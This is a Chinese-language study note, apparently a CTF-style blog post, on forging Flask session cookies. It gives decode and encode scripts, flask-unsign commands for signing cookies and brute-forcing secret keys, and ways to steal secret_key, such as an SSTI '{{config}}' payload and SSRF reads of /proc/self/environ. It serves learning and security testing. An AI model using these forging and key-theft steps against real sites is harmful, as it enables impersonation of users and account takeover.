Python Session伪造
这一块一直不咋熟悉,貌似在flask中session伪造比较多,学一下
并不是所有语言都有像php那样的的session存储机制,也不是任何情况下我们都可以向服务器写入文件。所以,很多Web框架都会另辟蹊径,比如Django默认将session存储在数据库中,而对于flask这里并不包含数据库操作的框架,就只能将session存储在cookie中。
因为cookie实际上是存储在客户端(浏览器)中的,所以称之为“客户端session”。
flask 的 session 机制:flask 源码解析:session
客户端 session问题:客户端 session 导致的安全问题
flask仅对 session 进行了签名,按照flask对session的处理,如果我们拿不到secret_key也就无法伪造session
此外众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题,比如敏感信息泄露。
加密解密
flask解密脚本
通过这个脚本解密处 session ,我们就可以大概知道 session 中存储着哪些基本信息。然后我们可以通过其他漏洞获取用于签名认证的 secret_key ,进而伪造任意用户身份,扩大攻击效果。
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption("eyJ1c2VybmFtZSI6eyIgYiI6IlozVmxjM1E9In19.XyZ3Vw.OcD3-l1yOcq8vlg8g4Ww3FxrhVs".encode()))
flask加密脚本
https://github.com/noraj/flask-session-cookie-manager
-
编码
python3 flask_session_cookie_manager3.py encode -s “woshicaiji” -t “{‘username’: b’admin’}”
usage: flask_session_cookie_manager{2,3}.py encode [-h] -s -t
optional arguments: -h, –help show this help message and exit -s , –secret-key Secret key -t , –cookie-structure Session cookie structure
-
解码
python3 ./flask_session_cookie_manager3.py decode -c “.eJw9kE2LwjAURf_K8NYuajqzEVwIsaXCS1FiQ7IRdWrz0ThDW6mN-N8nOODqLe7hXO57wOHS1b2GxdDd6hkczDcsHvBxggWg3afIi7u05wnJNjCSOZVnjuWVRt46DNpJIe-KKqf4NjKSSK4Ns-cRvYrcRjO6JyVtDYZiYl4GJJmJ1BxtcS8FkngnyXFUNjMql1_SrlImMJT0RaeRmLO8-FTcTcpiUvKdVnRN0FemzCPDWx37lvCcwbnvLofhx9XX9wTpN7YUqmWxUorKKrsakTdBBu2V2BhGK8dEnCiimq5TZldENsuXzvhjU79Nu-SX7sf_5Hr0MYCh7geYwa2vu9fbYJ7A8w-kYW1v.Xj-tXQ.GmXzuYTP0IobbVCyI-9xVsc5C5A” -s ckj123
usage: flask_session_cookie_manager{2,3}.py decode [-h] [-s ] -c
optional arguments: -h, –help show this help message and exit -s , –secret-key Secret key -c , –cookie-value Session cookie value
密钥爆破
安装
pip3 install flask-unsign
安装字典
pip install flask-unsign[wordlist]
命令行就可以直接使用 flask-unsign
加密
flask-unsign --sign --cookie "{'_permanent': True, 'username': 'st4ck'}" --secret "secret"
eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6InN0NGNrIn0.Xbn-9Q.uNm3a4894t-TZogqY-Ab4M0HDz4
解密+爆破key
flask-unsign --unsign --cookie "eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6InN0NGNrIn0.ZILbKw.nP0y-ckRmsBnczLXQfz3xuvZvgc"
另外也可以使用脚本
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
print(FSCM.decode("eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6InN0NGNrIn0.Xbn3eg.zBDV4huj8XGiRbFjSPMZq1HeV5Y"))
重要文件
/proc/self/environ #环境变量
拿secret_key
通常情况下获取 secret_key
的方法有以下几种:
- 网站某处泄露获取
- 通过 SSTI 漏洞获取,如
/{{config}}
- 通过 SSRF 读取存在
secret_key
的 Flask 配置文件或读取 /proc/self/environ 获取 - 爆破
2018HCTF WEB admin(session伪造、unicode漏洞、条件竞争)